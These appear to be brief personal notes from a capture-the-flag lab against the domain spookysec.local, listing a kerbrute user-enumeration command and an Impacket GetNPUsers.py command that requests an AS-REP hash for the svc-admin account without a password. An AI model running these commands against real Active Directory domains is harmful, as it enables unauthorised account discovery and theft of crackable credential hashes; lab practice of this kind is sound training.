user enum:

kerbrute userenum -d spookysec.local --dc spookysec.local userlist.txt -t 100

user ntlm hash:

(/impacket/examples/GetNPUsers.py)

python3 GetNPUsers.py -dc-ip 10.10.29.152 spookysec.local/svc-admin -no-pass